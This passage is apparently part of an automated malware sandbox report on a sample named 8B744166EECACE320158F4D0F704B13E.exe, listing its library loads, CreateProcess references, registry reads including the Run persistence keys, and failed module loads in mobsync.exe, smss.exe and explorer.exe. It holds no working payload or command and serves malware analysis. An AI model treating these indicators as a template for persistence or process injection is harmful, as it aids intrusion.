%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00003900) "mobsync.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001400) "mobsync.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00001400)31:T549,Found reference to API "Win32API|Process and Thread Functions|CreateProcess|lpProcessInformation|dwProcessId" (Indicator: "CreateProcess"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess|dwCreationFlags" (Indicator: "CreateProcess"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.008F0000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess|lpCurrentDirectory" (Indicator: "CreateProcess"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.008F0000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003772.00000001.133404.04B30000.00000004.mdmp") Found reference to API "ns|CreateProcess|dwCreationFlags" (Indicator: "CreateProcess"; Source: "00000000-00003772.00000001.133404.04B30000.00000004.mdmp") Found reference to API "ons|CreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003772.00000001.133404.04B30000.00000004.mdmp")32:T1e15,"Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001400.00000001.139922.00680000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00001400.00000001.139922.00680000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003772.00000001.133404.007E0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00003772.00000001.133404.007E0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\Sy" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandli" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Software\\" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Software\\a8e83276d80e5deb5e45080c8142f7c203b96267" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Software\a8e83276d80e5deb5e45080c8142f7c203b962677" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Software\a8e83276d80e5deb5e45080c8142f7c203b96267" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "HKEY_CURRENT_USER\Software\a8e83276d80e5deb5e45080c8142f7c203b96267" in Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003900.00000001.137884.004A0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00003900.00000001.137884.004A0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00004000.00000000.133715.01F80000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004000.00000001.134249.006A0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00004000.00000001.134249.006A0000.00000004.mdmp33:T2937,"8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "8B744166EECACE320158F4D0F704B13E.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "mobsync.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "smss.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module 